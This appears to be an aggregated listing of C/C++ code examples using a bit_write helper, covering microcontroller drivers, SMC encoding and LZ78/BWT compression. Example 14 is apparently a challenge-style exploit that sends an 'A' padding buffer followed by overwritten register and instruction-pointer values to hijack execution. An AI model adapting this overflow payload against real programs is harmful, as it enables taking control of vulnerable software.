Esempio n. 1
0
void
SPI::acquire(Driver* dev)
{
  // Acquire the device driver. Wait if busy. Synchronized update
  uint8_t key = lock();
  while (UNLIKELY(m_busy)) {
    unlock(key);
    yield();
    key = lock();
  }
  // Set current device and mark as busy
  m_busy = true;
  m_dev = dev;
#if defined(SPDR)
  // Initiate SPI hardware with device settings
  SPCR = dev->m_spcr;
  SPSR = dev->m_spsr;
#else
  // Set clock polarity
  bit_write(dev->m_cpol & 0x02, PORT, Board::SCK);
#endif
  // Disable all interrupt sources on SPI bus
  for (SPI::Driver* dev = m_list; dev != NULL; dev = dev->m_next)
    if (dev->m_irq != NULL) dev->m_irq->disable();
  unlock(key);
}
Esempio n. 2
0
void OutDataPort(uint8_t data) {
	data=~data; // в этой версии включаем нулями, поэтому инвертируем
	for (uint8_t i=0;i<8;i++) {
		bit_clear(PortControl, BIT(PCshift)); // взвели строб в 1
		bit_write(data & 0x80, PortControl, BIT(PCdata)); // вывели бит данных
//		_delay_us(3);
		bit_set(PortControl, BIT(PCshift)); // послали строб сдвига
//		_delay_us(3);
		data <<= 1;
	}
	// работаем по переднему фронту
	bit_clear(PortControl,BIT(PClatch));
	_delay_us(3);
	bit_set(PortControl,BIT(PClatch)); // послали строб записи в выходы
	bit_write(1, PortControl, BIT(PCdata)); // выставляем 1 на вход данных, т.е. в случшае помех по шине строба мы будем выключать устройства, а не включать
	bit_clear(PortControl,BIT(PClatch));
}
Esempio n. 3
0
/**
 *  Encode integer value to SMC integer format
 *
 *  @param value     Integer value to be encoded
 *  @param type      Integer SMC type ("ui8 ", "ui16", "ui32", "si8 ")
 *  @param size      Buffer size for encoded bytes, one byte for ui8, 2 bytes for ui16 etc.
 *  @param outBuffer Buffer where encoded bytes will be copied to, should be already allocated with correct size
 *
 *  @return True on success False otherwise
 */
bool fakeSMCPluginEncodeIntValue(int value, const char *type, const UInt8 size, void *outBuffer)
{
    if (type && outBuffer) {

        size_t typeLength = strnlen(type, 4);

        if (typeLength >= 3 && (type[0] == 'u' || type[0] == 's') && type[1] == 'i') {

            bool minus = value < 0;
            bool signd = type[0] == 's';

            if (minus) value = -value;

            switch (type[2]) {
            case '8':
                if (type[3] == '\0' && size == 1) {
                    UInt8 encoded = (UInt8)value;
                    if (signd) bit_write(signd && minus, encoded, BIT(7));
                    bcopy(&encoded, outBuffer, 1);
                    return true;
                }
                break;

            case '1':
                if (type[3] == '6' && size == 2) {
                    UInt16 encoded = (UInt16)value;
                    if (signd) bit_write(signd && minus, encoded, BIT(15));
                    OSWriteBigInt16(outBuffer, 0, encoded);
                    return true;
                }
                break;

            case '3':
                if (type[3] == '2' && size == 4) {
                    UInt32 encoded = (UInt32)value;
                    if (signd) bit_write(signd && minus, encoded, BIT(31));
                    OSWriteBigInt32(outBuffer, 0, encoded);
                    return true;
                }
                break;
            }
        }
    }
    return false;
}
Esempio n. 4
0
/**
 * Helper to update a single bit of an A/B register.
 * - Reads the current register value
 * - Writes the new register value
 */
void MCP23017::updateRegisterBit(uint8_t pin, uint8_t pValue, uint8_t portAaddr, uint8_t portBaddr) {
	uint8_t regValue;
	uint8_t regAddr=regForPin(pin,portAaddr,portBaddr);
	uint8_t bit=bitForPin(pin);
	regValue = readRegister(regAddr);

	// set the value for the particular bit
	bit_write(pValue,regValue,bit);

	writeRegister(regAddr,regValue);
}
Esempio n. 5
0
int emit(uint64_t symbol)
{
	int ret;
	
	ret = bit_write(my_bitio_c, actual_bits_counter, symbol);
	if (ret < 0)
	{
		fprintf(stderr, "Unable to perform the bit_write\n");
		return -1;
	}		
	
	return 0;
}
Esempio n. 6
0
bool
AnalogPin::sample_request(Board::AnalogPin pin, uint8_t ref)
{
  if (sampling_pin != NULL) return (false);
  loop_until_bit_is_clear(ADCSRA, ADSC);
  sampling_pin = this;
  ADMUX = (ref | (pin & 0x1f));
#if defined(MUX5)
  bit_write(pin & 0x20, ADCSRB, MUX5);
#endif
  bit_mask_set(ADCSRA, _BV(ADEN) | _BV(ADSC) | _BV(ADIE));
  return (true);
}
Esempio n. 7
0
uint16_t 
AnalogPin::sample(Board::AnalogPin pin, Board::Reference ref)
{
  if (sampling_pin != NULL) return (0xffffU);
  loop_until_bit_is_clear(ADCSRA, ADSC);
  ADMUX = (ref | (pin & 0x1f));
#if defined(MUX5)
  bit_write(pin & 0x20, ADCSRB, MUX5);
#endif
  bit_mask_set(ADCSRA, _BV(ADEN) | _BV(ADSC));
  loop_until_bit_is_clear(ADCSRA, ADSC);
  return (ADCW);
}
Esempio n. 8
0
void MCP23017::digitalWrite(uint8_t pin, uint8_t d) {
	uint8_t gpio;
	uint8_t bit=bitForPin(pin);


	// read the current GPIO output latches
	uint8_t regAddr=regForPin(pin,MCP23017_OLATA,MCP23017_OLATB);
	gpio = readRegister(regAddr);

	// set the pin and direction
	bit_write(d,gpio,bit);

	// write the new GPIO
	regAddr=regForPin(pin,MCP23017_GPIOA,MCP23017_GPIOB);
	writeRegister(regAddr,gpio);
}
Esempio n. 9
0
void Sampler::samplePinInput()
{
    static int bitCount = 7;
    static unsigned char data = 0;

    // Get the state of PINB2 and set the appropriate bit in 'value' to it
    bit_write(bit_get(PINB, BIT(PINB2)), data, BIT(bitCount));

    --bitCount;

    if (bitCount < 0) {
        value = data;
        dataReady = true;
        bitCount = 7;
        data = 0;
    }
}
Esempio n. 10
0
int write_header(struct bitfile *b_file, const struct header *h){
	

	int ret;

	if( b_file==NULL || h == NULL){
		errno = EINVAL;
		return -1;
	}

	// write magic number [32 bits]
	ret = bit_write(b_file,(char*)(h->magic),32,0);
	if(ret == -1)
		return -1;

	// header len [8 bits]
	ret = bit_write(b_file,(char*)(&h->header_len),8,0);
	if(ret == -1)
		return -1;

	// write version [8 bits]	
	ret = bit_write(b_file,(char*)(&h->ver),8,0);
	if(ret == -1)
		return -1;

	// write byte order (BIG/LITTLE ENDIAN) [8 bits]	
	ret = bit_write(b_file,(char*)(&h->byte_order),8,0);
	if(ret == -1)
		return -1;
	
	// write look ahead len [8 bits]	
	ret = bit_write(b_file,(char*)(&h->look_ah_len),8,0);
	if(ret == -1)
		return -1;

	// write window len [16 bits]	
	ret = bit_write(b_file,(char*)(&h->window_len),16,0);
	if(ret == -1)
		return -1;
	
	// write dictionary name [16 bits]	
	ret = bit_write(b_file,h->dict,16,0);
	if(ret == -1)
		return -1;

	return 0;

}
void LCDsendChar(uint8_t aData)
{	
	LCDwaitUntilNotBusy();
	//send hi byte
	bit_set(LCD_RS_PORT, BIT(LCD_RS_BIT));	//rs=1
	bit_write(bit_get(aData,BIT(4)), LCD_D4_PORT, BIT(LCD_D4_BIT));
	bit_write(bit_get(aData,BIT(5)), LCD_D5_PORT, BIT(LCD_D5_BIT));
	bit_write(bit_get(aData,BIT(6)), LCD_D6_PORT, BIT(LCD_D6_BIT));
	bit_write(bit_get(aData,BIT(7)), LCD_D7_PORT, BIT(LCD_D7_BIT));
	
	LCDtoggleEn();
	//send lo byte
	bit_write(bit_get(aData,BIT(0)), LCD_D4_PORT, BIT(LCD_D4_BIT));
	bit_write(bit_get(aData,BIT(1)), LCD_D5_PORT, BIT(LCD_D5_BIT));
	bit_write(bit_get(aData,BIT(2)), LCD_D6_PORT, BIT(LCD_D6_BIT));
	bit_write(bit_get(aData,BIT(3)), LCD_D7_PORT, BIT(LCD_D7_BIT));
	
	LCDtoggleEn();
}
//send command to lcd
void LCDsendCommand(uint8_t aCmd)
{	
	LCDwaitUntilNotBusy();
	
	//send hi byte	
	bit_clear(LCD_RS_PORT, BIT(LCD_RS_BIT));	//rs=0
	bit_write(bit_get(aCmd,BIT(4)), LCD_D4_PORT, BIT(LCD_D4_BIT));
	bit_write(bit_get(aCmd,BIT(5)), LCD_D5_PORT, BIT(LCD_D5_BIT));
	bit_write(bit_get(aCmd,BIT(6)), LCD_D6_PORT, BIT(LCD_D6_BIT));
	bit_write(bit_get(aCmd,BIT(7)), LCD_D7_PORT, BIT(LCD_D7_BIT));
	
	LCDtoggleEn();
	
	//send lo byte
	bit_write(bit_get(aCmd,BIT(0)), LCD_D4_PORT, BIT(LCD_D4_BIT));
	bit_write(bit_get(aCmd,BIT(1)), LCD_D5_PORT, BIT(LCD_D5_BIT));
	bit_write(bit_get(aCmd,BIT(2)), LCD_D6_PORT, BIT(LCD_D6_BIT));
	bit_write(bit_get(aCmd,BIT(3)), LCD_D7_PORT, BIT(LCD_D7_BIT));
	
	LCDtoggleEn();
}
Esempio n. 13
0
/**
 * Configures the interrupt system. both port A and B are assigned the same configuration.
 * Mirroring will OR both INTA and INTB pins.
 * Opendrain will set the INT pin to value or open drain.
 * polarity will set LOW or HIGH on interrupt.
 * Default values after Power On Reset are: (false,flase, LOW)
 * If you are connecting the INTA/B pin to arduino 2/3, you should configure the interupt handling as FALLING with
 * the default configuration.
 */
void MCP23017::setupInterrupts(uint8_t mirroring, uint8_t openDrain, uint8_t polarity){
	// configure the port A
	uint8_t ioconfValue=readRegister(MCP23017_IOCONA);
	bit_write(mirroring,ioconfValue,6);
	bit_write(openDrain,ioconfValue,2);
	bit_write(polarity,ioconfValue,1);
	writeRegister(MCP23017_IOCONA,ioconfValue);

	// Configure the port B
	ioconfValue=readRegister(MCP23017_IOCONB);
	bit_write(mirroring,ioconfValue,6);
	bit_write(openDrain,ioconfValue,2);
	bit_write(polarity,ioconfValue,1);
	writeRegister(MCP23017_IOCONB,ioconfValue);
}
Esempio n. 14
0
int main(void) {
    negotiate_type1(0xfefefefe, 0xfefefefe, 5);

    int i, buf_len = 0;
    char buf[32], *pbuf;
    unsigned char exploit[4096];
    unsigned char *eip = NULL, *reg = NULL;
    unsigned int eip_len = 0, reg_len = 0, exp_len = 0;
    char *key = " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~";

    transmit_all(STDOUT, "2\n", 2);
    transmit_all(STDOUT, key, 95);

    eip = append_var("TYPE1_IP", eip, &eip_len);
    reg = append_var("TYPE1_REG", reg, &reg_len);

    memset(exploit, 0, sizeof(exploit));
    bio_t *bio = bit_new(exploit);

    for (i = 0; i < 2316; ++i)
    {
        bit_write(bio, '\x00', 1);
        bit_write(bio, '\x41', 8);
    }
    for (i = 0; i < 4; ++i)
    {
        bit_write(bio, '\x00', 1);
        bit_write(bio, reg[i], 8);
    }
    for (i = 0; i < 4; ++i)
    {
        bit_write(bio, '\x00', 1);
        bit_write(bio, eip[i], 8);
    }

    exp_len = bio->didx + !!(bio->bidx > 0);
    pbuf = _print_signed(buf + 32, &buf_len, exp_len + 4);
    transmit_all(STDOUT, pbuf, buf_len);
    transmit_all(STDOUT, "\n", 1);
    buf_len = 2316 + 4 + 4;
    transmit_all(STDOUT, (char *)&buf_len, 4);
    transmit_all(STDOUT, exploit, exp_len);
    return 0;
}
Esempio n. 15
0
/**
 *  Encode floating point value to SMC float format
 *
 *  @param value     Floating point value to be encoded
 *  @param type      Floating point SMC type name ("fp2e", "fpe2", "sp78" are correct float SMC types)
 *  @param size      Buffer size for encoded bytes, for every floating SMC type should be 2 bytes
 *  @param outBuffer Buffer where encoded bytes will be copied to, should be already allocated with correct size
 *
 *  @return True on success False otherwise
 */
bool fakeSMCPluginEncodeFloatValue(float value, const char *type, const UInt8 size, void *outBuffer)
{
    if (type && outBuffer) {

        size_t typeLength = strnlen(type, 4);

        if (typeLength >= 3 && (type[0] == 'f' || type[0] == 's') && type[1] == 'p') {
            bool minus = value < 0;
            bool signd = type[0] == 's';
            UInt8 i = fakeSMCPluginGetIndexFromChar(type[2]);
            UInt8 f = fakeSMCPluginGetIndexFromChar(type[3]);

            if (i + f == (signd ? 15 : 16)) {
                if (minus) value = -value;
                UInt16 encoded = value * (float)BIT(f);
                if (signd) bit_write(minus, encoded, BIT(15));
                OSWriteBigInt16(outBuffer, 0, encoded);
                return true;
            }
        }
    }

    return false;
}
Esempio n. 16
0
/*--Function for compress file--*/
void 
compress(char * str_in,lz78_compressor * in, struct bitio* file)
{
	char* buf=malloc(16); 
	uint64_t inp=0;
	int father=0;
	int child=0;	
	int go=1;
	uint64_t c=0;
	int flag=0;
	int ret=0;

	struct bitio*file_out=bit_open(in->output_file,1);

	/*After compress i put the info of the file at the beginning of the file*/
	info* ret_info=malloc(sizeof(info));

	/*Put the info at the beginning of the file and return a structure with the info*/
	ret_info=addinfo(file_out,file,in->file_to_compress,0,in->d_max);
	in->number_of_code^=in->number_of_code; //XOR

	reset:

	if(flag==0){
		/*Only for the first character*/
		ret=bit_read(file,(u_int)8,&inp);
		buf[1]=(char)(inp&((1UL<<8)-1));
		//printf("Ric: %X\n",buf[1] & 0xff);
	}


	printf("-----------\n");
	while(go==1){
		

		while(look_up_and_add(father,buf[1],in)==0){//repeat the operation until i don't fint a node =>scroll the tree

			buf[0]=buf[1];		
			father=hash_table[hash(child,(char)(inp&((1UL<<8)-1)))].child_index;
			//printf("Padre: %d\n",father);
			ret=bit_read(file,(u_int)8,&inp);	
			buf[1]=(char)(inp&((1UL<<8)-1));
			//printf("Ric: %X\n",buf[1] & 0xff);
			child=father;
		}

		//printf("Output: %X Char %c\n",father & 0xff,buf[1]);
		bit_write(file_out,16, (int) father);
		in->number_of_code++;
		father=0; 	// restart from the root
		child=0;
		c++;
		if(ret==0)break;
		if(in->counter_child_tree>=in->d_max-1){
			//I need to empty the tree and restart the compressio from the current position
			free(hash_table);
			in->counter_child_tree=0;
			hash_init(6700417,in);
			goto reset;
		};	
	
	}

	flush_out_buffer(file_out);
	//add the SHA-1 of the compressed-file in the header
	
	long old_index=ftell(file_out->f);//save the curren pointer to position of the file
	struct bitio* file_out_rd=bit_open(in->output_file,0);//I re-open the output file but in in read mode this time
	getSHA1(88,in->number_of_code,file_out_rd,ret_info); //I do the SHA-1 over the whole file
	bit_close(file_out_rd);
	fseek(file_out->f,(long)0x40,SEEK_SET); //I write the SHA-1 hash in the correct position
	//printf("SHA-1: ");
	for (int i = 0; i < 20; i ++) {
		bit_write(file_out,(u_int)8*sizeof(unsigned char),(unsigned char)ret_info->sha1[i]);
       // printf(" %2x", (unsigned char)ret_info->sha1[i]);
    }

	bit_write(file_out,(u_int)32,in->number_of_code);

    //printf("\n");
    flush_out_buffer(file_out);

	fseek(file_out->f,old_index,SEEK_SET); // restore the pointer of the file in order to close the file in the rigth way
	//close the file descriptor
	bit_close(file_out);
}
Esempio n. 17
0
/* ********************************************************************
   rle+compression of a string: Fenwick;s three-level model 
   input
     int len         size of mtf sequence
     uchar *in         input mtf sequence
     int alpha_size   size of the alphabet
   output
     the compressed string is written in the output file 
   note 
     the mtf rank is coded as follows: if <=2 then the first level
     codes the rank using 2 bits. In case (>2 and <=9) then we 
     write 11 as escape code and go to the second level where the rank
     is coded using 3 bits as (rank - 3). If rank > 9, then again an 
     escape code is output as 111, and (rank - 10) is represented
     using enough bits. One important point is that, when the rank
     is equal to Mtf_save then the next value denotes a character and
     thus it is coded in binary using a proper number of bits.
   ******************************************************************* */
void rle_hierarchical(uchar *in, int len, int alpha_size)
{
  int int_log2(int);
  void bit_write(int,int);
  int bits_x_char,i,z;
  uchar c;
  int mtf_size;

  mtf_size = MIN(Mtf_save,alpha_size);
  bits_x_char = int_log2(alpha_size);
  z=-1;                       // # of pending zeroes (-1) 
  for(i=0; i<len;i++) {
    assert(in[i]<alpha_size);

    if(in[i]==0) {
	 
      if(++z==255) {
	 bit_write(2,0);     // unary code for 0 
         bit_write(8,255);   // write 255 using 8 bits
	 z=-1;
      }
    }
    else {
      /* ----- check if there are pending zeores ---- */
      if(z>=0) {
	bit_write(2,0);     // unary code for 0 
	bit_write(8,z);     // write z using 8 bits
        z=-1;
      }
      // ---- write a nonzero mtf rank ----- 
      if(in[i]<=2) {
	bit_write(2,in[i]);   // binary coding
      }
      if((in[i]>2) && (in[i] <= 9)){
	bit_write(2,3);   // escape level 1
	bit_write(3,in[i]-3);   // binary coding of second level
      }
      if((in[i] > 9) && (in[i] <= mtf_size)){
	bit_write(5,31);           // escape code level 2
	bit_write(int_log2(mtf_size-10),in[i]-10);
      }
      if(in[i] == mtf_size){
	c=in[++i];                      // get actual char
        assert(c<alpha_size); 
	bit_write(bits_x_char,c);      // write remapped char
      }
    }
  }
  // ---- there could be some pending zeroes
  if(z>=0) {
     bit_write(2,0);     // unary code for 0 
     bit_write(8,z);     // 255 using 8 bits
  }
}
Esempio n. 18
0
/* *********************************************************
   The current format of the prologue is the following:
         8 bits      type of compression (2=Hier, 4=Multi Table Huff)
         1 int       size of input file
         1 int       position of eof in s->bw
         1 uint16    size of a super bucket divided by 1024
         1 uchar     size of a bucket divided by 1024 (divides the previous)
	 1 uchar     size-1 mtf_list stored in each bucket  
	 1 uchar     size-1 of the compacted alphabet of the text
	 1 uchar     remapped char selected for occurrence list
	 1 int       # skipped occ of chosen_char in bwt
	 1 int       starting byte of occ-explicit list
       256 bits      boolean map of chars in the text (S = # of 1)
         S int       prefix sum of character occurrences

      for each superbucket
	 S' bytes    map of compact_alph chars occurring in THIS superbucket
	             (S' = (S+7)/8 -- it is byte aligned)  ****FLUSH****
         S int       # occ of all compact_alphabet chars in prev superbuckets

      finally:
        NB x L    starting position of each bucket in the compressed file
                  NB is the number of buckets and L is the number of bits
		  sufficient to represent that length (byte_aligned)


     -------- Body of the compressed file [byte-aligned]   -------------

     for each bucket (let R be the # of distinct chars in the superbucket)

         R 7x8val   # of occ of each char in the previous buckets of the
                    same superbucket. Each value is represented with 
                    the 7x8 encoding. This information is missing for the 
                    first bucket of each superbucket

         R  bits    map of chars appearing in this bucket. 
                    Let R' be the # of distinct chars in this bucket 
                    and L' the # of bits required to represent R'

       L' x M bits  Initial move to front list for this bucket
                    M = min(R',Mtf_save)         

	 ... bits   needed to byte-align in case ONLY of Arith-coding	    

         ??? bits   compressed bucket in mtf + rle + [Ari|Hier|Una] format 

         --- bits   ****FLUSH**** to have byte alignment

     -------- Body of the occ explicit list [byte-aligned]   -------------
     ---------------------------------------------------------------------
     --- URL: we have occ for text positions and rows ---

         ... L bits  list of positions where character ch occurs in
	             the original text. ch = character that occurs
		     close to Marked_char_freq times in the text.
  **************************************************************** */
void write_prologue(bwi_input *s)
{
  void init_bit_buffer(void);
  int int_log2(int);
  void uint_write(int);
  void bit_write(int,int);
  void bit_flush(void);
  void write7x8(int);
  bucket_lev1 sb;
  int i,len,k;

  /* ----- write file and bucket size ------ */
  init_bit_buffer();
  bit_write(8,Type_compression);
  uint_write(s->text_size);
  uint_write(s->bwt_eof_pos);

  assert(Bucket_size_lev1>>10<65536);
  assert((Bucket_size_lev1 & 0x3ff) == 0);
  bit_write(16,Bucket_size_lev1>>10);

  assert(Bucket_size_lev2>>10<256);
  assert((Bucket_size_lev2 & 0x3ff) == 0);
  bit_write(8,Bucket_size_lev2>>10);

  // ---- mtf and alphabet information
  assert(Mtf_save>0 && Mtf_save<=256);
  bit_write(8,Mtf_save-1);

  assert(s->alpha_size>0 && s->alpha_size<=256);
  bit_write(8,s->alpha_size-1);   

  // ---- write chosen_char & starting byte of occ-list
  bit_write(8,s->chosen_char);
  uint_write(s->skip);
  uint_write(0);
  
  // ---- boolean alphabet char map
  for(i=0;i<256;i++)
   if(s->bool_char_map[i]) bit_write(1,1);
   else bit_write(1,0);  

  // ---- write prefix sum of char occ
  for(i=0; i<s->alpha_size; i++)
    uint_write(s->pfx_char_occ[i]);

  // ----- process superbuckets
  for(i=0;i<Num_bucs_lev1;i++) {
    sb = s->buclist_lev1[i];

    for(k=0;k<s->alpha_size;k++)     // boolean char_map
      if(sb.bool_char_map[k]) bit_write(1,1);
      else bit_write(1,0);
    bit_flush();                    // we keep everything byte aligned

    if(i>0)                          // write prefix-occ 
      for(k=0;k<s->alpha_size;k++)
        uint_write(sb.occ[k]);
  }

  // ----- leave space for storing the start positions of buckets
  len = (int_log2(s->text_size)+7)/8;   //it's byte-aligned
  for(i=0;i<Num_bucs_lev2;i++)
    bit_write(len * 8,0);

}
Esempio n. 19
0
/* ************************************************************
   *                                                          *
   * main compression routine                                 *
   *                                                          *
   ********************************************************** */
void compress_file(void)
{
  void read_text(FILE *, bwi_input *s);
  void remap_alphabet(bwi_input *s);
  void build_sa(bwi_input *s);
  void compute_bwt(bwi_input *s);
  void compute_info_superbuckets(bwi_input *s);
  void compute_info_buckets(bwi_input *s);
  void write_prologue(bwi_input *s);
  void compress_superbucket(bwi_input *s, int);
  int compute_locations(bwi_input *s);
  int compute_locations_dict(bwi_input *s, int*);
  int compute_ranks_dict(bwi_input *s, int*);
  int compute_locations_huffword(bwi_input *s, int *);
  void bit_flush( void );
  void bit_write(int,int);  
  void init_bit_buffer(void);
  void write_susp_infos(bwi_input *s);
  bwi_input s;
  int i,len, retr_occ, retr_occ2, loc_occ_range;
  int Start_prologue_ranks;

  /* --------- Load the text file from disk ------- */  
  if(Verbose) fprintf(stderr,"Reading input file... ");  
  read_text(Infile, &s);
  if(Verbose) fprintf(stderr,"done! (%f seconds)\n",getTime());
  
  /* --------- Compact alphabet ------- */  
  if(Verbose>1) fprintf(stderr,"Remapping alphabet... ");  
  remap_alphabet(&s);
  if(Verbose>1) fprintf(stderr,"done! (%f seconds). ",getTime());
  if(Verbose>1) fprintf(stderr,"Compact alphabet size = %d\n",s.alpha_size);

  /* --------- Build suffix array ------- */  
  if(Verbose) fprintf(stderr,"Building suffix array");  
  build_sa(&s);
  if(Verbose) fprintf(stderr,"done! (%f seconds)\n",getTime());

  /* --------- Compute BWT ------- */  
  if(Verbose>1) fprintf(stderr,"Computing BWT... ");
  compute_bwt(&s);
  if(Verbose>1) fprintf(stderr,"done! (%f seconds)\n",getTime());

  /* ------- mark chars and compute locations ----- */ 
  if (Is_dictionary)
    retr_occ = compute_locations_dict(&s,&loc_occ_range);    // dictionary
  else if (Is_huffword)
    retr_occ = compute_locations_huffword(&s,&loc_occ_range);// huffword 
  else if (Is_URL)
    retr_occ = compute_ranks_dict(&s,&loc_occ_range);        // URL
  else
    retr_occ = compute_locations(&s);                        // standard


  /* --------- Compute various infos for each superbucket ------- */  
  if(Verbose>1) fprintf(stderr,"Computing infos superbukets... ");
  compute_info_superbuckets(&s);
  if(Verbose>1) fprintf(stderr,"done! (%f seconds)\n", getTime());

  /* --------- Compute various infos for each bucket ------- */  
  if(Verbose>1) fprintf(stderr,"Computing infos buckets... ");
  compute_info_buckets(&s);
  if(Verbose>1) fprintf(stderr,"done! (%f seconds)\n", getTime());

  /* --------- Writing the compressed file ------- */
  Infile_size = s.text_size; 
  Outfile_size=0;

  write_prologue(&s);
  if(Verbose) fprintf(stderr,"Prologue --> %d bytes!\n",Outfile_size);

  for(i=0;i<Num_bucs_lev1;i++)
    compress_superbucket(&s,i);

  /* ---- keep starting positions of occ-explicit list ---- */
  Start_prologue_occ = Outfile_size;

  /* -- write the starting position of buckets -- */
  write_susp_infos(&s);

  if (fseek(Outfile,Start_prologue_occ,SEEK_SET)) {
    fprintf(stderr, "Seek error on output file -compress_file-\n");
    exit(1);
  }


  /* -- write the position of the marked chars ---- */
  init_bit_buffer();
  if(Is_dictionary || Is_huffword || Is_URL)
    len = int_log2(loc_occ_range);     // bits required for each rank
  else  
    len = int_log2(s.text_size);       // bits required for each pos 

  for(i=0; i < retr_occ; i++)
    bit_write(len,s.loc_occ[i]);

  bit_flush();

  Start_prologue_ranks = (int)ftell(Outfile);

  if(Verbose)  
    fprintf(stderr,"List of %d marked ranks --> %d bytes!\n",
	    retr_occ,Start_prologue_ranks-Start_prologue_occ);

  /* -- in the case of URL we also store the DICT info -- */
  /* It should be put together with the computation above --*/
  /* Thus removing these differences in the code --*/
  /* Hence Start_prologue_occ indicates the starting position of RANKS. */
  /* After retr_occ RANKS start the LOCATIONS, which are again retr_occ */
  /* in number. The value of retr_occ can be computed at decompression time */
  /* by using the same formula adopted in compute_ranks_dict() */
  if (Is_URL) {
    retr_occ2 = compute_locations_dict(&s,&loc_occ_range);  // DICT
    
    if (retr_occ != retr_occ2)
      out_of_mem("Unequal number of sampled NULLs\n");

    for(i=0; i < retr_occ; i++)
      bit_write(len,s.loc_occ[i]);
    
    bit_flush();
  
    
  if(Verbose) 
    fprintf(stderr,"List of %d marked locations --> %d bytes!\n",
	    retr_occ2,(int)ftell(Outfile) - Start_prologue_ranks);
  }
}
Esempio n. 20
0
/* **********************************************************************
   compress and write to file a bucket of length "len" starting at in[0].
   the compression is done as follows:
   first the charatcters are remapped (we expect only a few distinct chars
   in a single bucket)  then we use mtf (with a list of size Mtf_save)
   then we rle and compress using a unary code. 
   ********************************************************************** */ 
void compress_bucket(uchar *in, int len, int alpha_size)
{
  int int_log2(int);
  void init_bit_buffer(void);
  void bit_write(int,int);
  void bit_flush( void );
  void out_of_mem(char *);
  int mtf_string(uchar *, uchar *, uchar *, int);
  void rle_hierarchical(uchar *, int, int);  
  void multihuf_compr(uchar *, int, int);
  int k,j,bits_x_char,local_alpha_size,mtf_len;
  uchar c,mtf[256],local_bool_map[256], local_map[256]; 
  uchar *mtf_seq;

  /* ---------- init ------------ */
  init_bit_buffer();

  /* ---------- compute and write local boolean map ------ */
  for(k=0;k<alpha_size;k++)     
    local_bool_map[k]=local_map[k]=0;
  local_alpha_size=0;

  for(j=0;j<len;j++) {             // compute local boolean map
    c=in[j];                       // remapped char
    assert(c<alpha_size);                              
    local_bool_map[c]=1;     
  }

  for(k=0;k<alpha_size;k++)      // compute local map
    if(local_bool_map[k])
      local_map[k]=local_alpha_size++;  

  for(j=0;j<len;j++)             // remap bucket
    in[j]=local_map[in[j]];       
  
  for(k=0;k<alpha_size;k++)     // write bool char map to file 
    if(local_bool_map[k]) bit_write(1,1); 
    else bit_write(1,0);

  /* ----------- compute and write mtf picture ------------- */
  mtf_seq = (uchar *) malloc(2*len*sizeof(uchar)); // mtf temporary buffer
  if(mtf_seq==NULL) out_of_mem("compress_bucket (mtf_seq)");
  mtf_len = mtf_string(in,mtf_seq,mtf,len);  // mtf_seq=mtf(in), init mtf-list
  bits_x_char = int_log2(local_alpha_size);   // write mtf to file
  for(k=0;k<MIN(Mtf_save,local_alpha_size);k++) {
    bit_write(bits_x_char,mtf[k]);  
  }


  // -- Applies the proper compression routine --
  switch (Type_compression) 
    {
    case ARITH:  // ---- Arithmetic compression of the bucket -----
      fatal_error("Arithmetic coding no longer available -compress_bucket-\n");
      exit(1);
    case HIER3:  // ---- three-leveled model: Fenwick's proposal -----
      rle_hierarchical(mtf_seq, mtf_len,local_alpha_size);
      break;
    case UNARY:  // ---- Unary compression of mtf-ranks with escape -----
      fatal_error("Unary coding no longer available -compress_bucket-\n");
      exit(1);
    case MULTIH: // ---- RLE + MultiHuffman compression of the bucket -----
      multihuf_compr(mtf_seq,mtf_len,local_alpha_size);  
      break;
    default:
      fprintf(stderr,"\n Compression algorithm unknown! ");
      fprintf(stderr,"-compress_superbucket-\n");
      exit(1);
    }
  bit_flush();         // Byte-align the next compressed bucket
  free(mtf_seq);
}
Esempio n. 21
0
/*--Function for Decompressor--*/
void 
decompress(struct bitio* file_to_read,struct bitio* file,lz78_decompressor* in)
{
			//char * out=malloc(sizeof(char)*150);
			char out[50];			
			out[0]='\0';
			int i=0;
			int j=0;
			char first_char=0;
			file_to_read=bit_open(in->file_to_decompress,0);
			if(file_to_read==NULL){
				printf("File not found or you don't have enough privilege to open a file\n");
				return;
			}
			uint64_t inp=0;
			int temp=0;	
			char prec_char=0;
			int first_father;
			int ret=0;
			int x=0;		

			//fseek(file_to_read->f,4,SEEK_SET);

			in->info_ptr=getinfo(file_to_read);

			reset:
			while(x>=0){
			
				ret=bit_read(file_to_read,16,&inp);
				first_father=temp=(int)(inp&((1UL<<16)-1))-1;

				if(first_father<=0)goto fine_file;
				
				while((first_char=look_up_array(temp))==-1){

					out[i]=(char)array_tree[temp].c;
					temp=(int)array_tree[temp].father_num;
					i++;
							
				}
				
				if(ret<=0) {
					fine_file:printf("The file was correctly extracted...\n");
					//no more data to read
					flush_out_buffer(file);
					break;
				}
				
				out[i]=first_char;

				
				if(x==0){
					prec_char=(int)(inp&((1UL<<16)-1))-1;
					//printf("ricevuto :%d Inserisco il nodo %d con padre %d\n",first_father,(int)in->counter_child_tree-1,prec_char);
					array_tree[(int)in->counter_child_tree-1].father_num=(int)((inp&((1UL<<16)-1))-1);
					in->counter_child_tree++;
				}
				if(x>0){
					//printf("Inserisco %c nel nodo %d temp:%d\n",array_tree[temp].c,(int)in->counter_child_tree-2,temp);
					array_tree[(int)in->counter_child_tree-2].c=array_tree[temp].c;
					//printf("Inserisco il nodo %d con padre %d\n",(int)in->counter_child_tree-1,(int)(inp&((1UL<<16)-1))-1);
					/*I have to add a new node*/
					array_tree[(int)in->counter_child_tree-1].father_num=(int)(inp&((1UL<<16)-1))-1;

					out[0]=((int)in->counter_child_tree-2==(int)((inp&((1UL<<16)-1))-1))?array_tree[temp].c:(char)array_tree[(int)((inp&((1UL<<16)-1))-1)].c; //If i have received the last node insert, i have to update the output string becouse i didn't have the char of the node received

					in->counter_child_tree++;
					}
				
				//out[i+1]='\0';
				for(j=i;j>=0;j--){bit_write(file,8, out[j]);				
				//printf("%c",(out[j]));
				} // I print the buffer string
				//printf("\n"); 
				i=0;
				x++;
				
				out[0]='\0';

				if(in->counter_child_tree>=in->d_max-1){
					//need to empty the array based tree for the decompressor
					free(array_tree);
					in->counter_child_tree=0;
					array_init(6700417,in);
					x=0;
					goto reset;
				}
				
			}	
			/*rewind(file_to_read->f);
			uint64_t r;
			bit_read(file_to_read,8,&r);
			printf("%c aad\n",(char)r&((1UL<<8)-1));
			bit_read(file_to_read,8,&r);
			printf("%c aad\n",(char)r&((1UL<<8)-1));
			bit_read(file_to_read,8,&r);
